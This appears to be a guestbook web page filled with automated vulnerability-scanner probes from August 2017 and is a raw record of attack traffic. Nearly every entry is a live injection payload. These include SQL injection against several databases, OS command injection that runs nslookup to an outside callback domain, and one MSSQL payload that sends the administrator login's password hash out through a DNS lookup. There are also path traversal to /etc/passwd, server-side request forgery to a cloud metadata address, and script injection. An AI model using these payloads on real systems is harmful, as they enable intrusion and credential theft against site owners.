+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

